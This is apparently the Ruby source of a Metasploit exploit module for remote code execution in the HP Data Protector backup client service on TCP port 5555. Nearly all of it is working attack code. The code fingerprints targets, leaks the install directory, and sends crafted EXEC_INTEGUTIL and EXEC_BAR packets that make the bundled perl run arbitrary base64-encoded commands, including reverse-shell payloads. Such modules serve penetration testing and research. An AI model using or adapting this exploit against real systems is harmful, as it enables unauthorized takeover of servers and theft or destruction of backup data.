1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 |
## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name'=> 'HP Data Protector EXEC_INTEGUTIL Remote Code Execution', 'Description' => %q{ This exploit abuses a vulnerability in the HP Data Protector. The vulnerability exists in the Backup client service, which listens by default on TCP/5555. The EXEC_INTEGUTIL request allows to execute arbitrary commands from a restricted directory. Since it includes a perl executable, it's possible to use an EXEC_INTEGUTIL packet to execute arbitrary code. On linux targets, the perl binary isn't on the restricted directory, but an EXEC_BAR packet can be used to access the perl binary, even in the last version of HP Data Protector for linux.This module has been tested successfully on HP Data Protector 9 over Windows 2008 R2 64 bits and CentOS 6 64 bits. }, 'Author'=> [ 'Aniway.Anyway <Aniway.Anyway[at]gmail.com>', # vulnerability discovery 'juan vazquez'# msf module ], 'References'=> [ [ 'ZDI', '14-344'] ], 'Payload'=> { 'DisableNops' => true }, 'DefaultOptions'=> { # The powershell embedded payload takes some time to deploy 'WfsDelay' => 20 }, 'Targets' => [ [ 'Linux 64 bits / HP Data Protector 9', { 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd cmd_bash', 'RequiredCmd' => 'perl gawk bash-tcp openssl python generic' } } } ], [ 'Windows 64 bits / HP Data Protector 9', { 'Platform' => 'win', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'powershell' } } } ] ], 'DefaultTarget' => 0, 'Privileged'=> true, 'DisclosureDate'=> 'Oct 2 2014' )) register_options( [ Opt::RPORT(5555) ], self.class) end def check fingerprint = get_fingerprint if fingerprint.nil? return Exploit::CheckCode::Unknown end if fingerprint =~ /Data Protector A\.(\d+\.\d+)/ version = $1 vprint_status("#{peer} - Windows / HP Data Protector version #{version} found") elsif fingerprint =~ / INET/ vprint_status("#{peer} - Linux / HP Data Protector found") return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end if Gem::Version.new(version) <= Gem::Version.new('9') return Exploit::CheckCode::Appears end Exploit::CheckCode::Detected # there is no patch at the time of module writing end def exploit rand_exec = rand_text_alpha(8) print_status("#{peer} - Leaking the HP Data Protector directory...") leak = leak_hp_directory(rand_exec) dir = parse_dir(leak, rand_exec) if dir.nil? dir = default_hp_dir print_error("#{peer} - HP Data Protector dir not found, using the default #{dir}") else unless valid_target?(dir) print_error("#{peer} - HP Data Protector directory leaked as #{dir}, #{target.name} looks incorrect, trying anyway...") end end if target.name =~ /Windows/ #command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, {:remove_comspec => true, :encode_final_payload => true}) print_status("#{peer} - Executing payload...") execute_windows(payload.encoded, dir) else print_status("#{peer} - Executing payload...") execute_linux(payload.encoded, dir) end end def peer "#{rhost}:#{rport}" end def build_pkt(fields) data = "\xff\xfe" # BOM Unicode fields.each do |v| data << "#{Rex::Text.to_unicode(v)}\x00\x00" data << Rex::Text.to_unicode(" ") # Separator end data.chomp!(Rex::Text.to_unicode(" ")) # Delete last separator return [data.length].pack("N") + data end def get_fingerprint fingerprint = get_fingerprint_windows if fingerprint.nil? fingerprint = get_fingerprint_linux end fingerprint end def get_fingerprint_linux connect sock.put([2].pack("N") + "\xff\xfe") begin res = sock.get_once(4) rescue EOFError disconnect return nil end if res.nil? disconnect return nil else length = res.unpack("N")[0] end begin res = sock.get_once(length) rescue EOFError return nil ensure disconnect end if res.nil? return nil end res end def get_fingerprint_windows connect sock.put(rand_text_alpha_upper(64)) begin res = sock.get_once(4) rescue ::Errno::ECONNRESET, EOFError disconnect return nil end if res.nil? disconnect return nil else length = res.unpack("N")[0] end begin res = sock.get_once(length) rescue EOFError return nil ensure disconnect end if res.nil? return nil end Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null end def leak_hp_directory(rand_exec) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "28", # Opcode EXEC_INTEGUTIL rand_exec, ]) sock.put(pkt) begin res = sock.get_once(4) rescue EOFError disconnect return nil end if res.nil? disconnect return nil else length = res.unpack("N")[0] end begin res = sock.get_once(length) rescue EOFError return nil ensure disconnect end if res.nil? return nil end if res =~ /No such file or directory/ # Linux signature return res else # deal as windows target return Rex::Text.to_ascii(res).chop.chomp # Delete unicode last null end end def parse_dir(data, clue) if data && data =~ /The system cannot find the file specified\..*(.:\\.*)bin\\#{clue}/ dir = $1 print_good("#{peer} - HP Data Protector directory found on #{dir}") elsif data && data =~ /\]\x00 (\/.*)lbin\/#{clue}\x00 \[\d\] No such file or directory/ dir = $1 print_good("#{peer} - HP Data Protector directory found on #{dir}") else dir = nil end dir end def valid_target?(dir) if target.name =~ /Windows/ && dir =~ /^[A-Za-z]:\\/ return true elsif target.name =~ /Linux/ && dir.start_with?('/') return true end false end def default_hp_dir if target.name =~ /Windows/ dir = 'C:\\Program Files\\OmniBack\\' else # linux dir = '/opt/omni/lbin/' end dir end def execute_windows(cmd, hp_dir) connect pkt = build_pkt([ "2", # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "28", # Opcode EXEC_INTEGUTIL "perl.exe", "-I#{hp_dir}lib\\perl", "-MMIME::Base64", "-e", "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" ]) sock.put(pkt) disconnect end def execute_linux(cmd, hp_dir) connect pkt = build_pkt([ '2', # Message Type rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), '11', # Opcode EXEC_BAR rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), rand_text_alpha(8), "../bin/perl", rand_text_alpha(8), "-I#{hp_dir}lib/perl", '-MMIME::Base64', '-e', "system(decode_base64('#{Rex::Text.encode_base64(cmd)}'))" ]) sock.put(pkt) disconnect end end |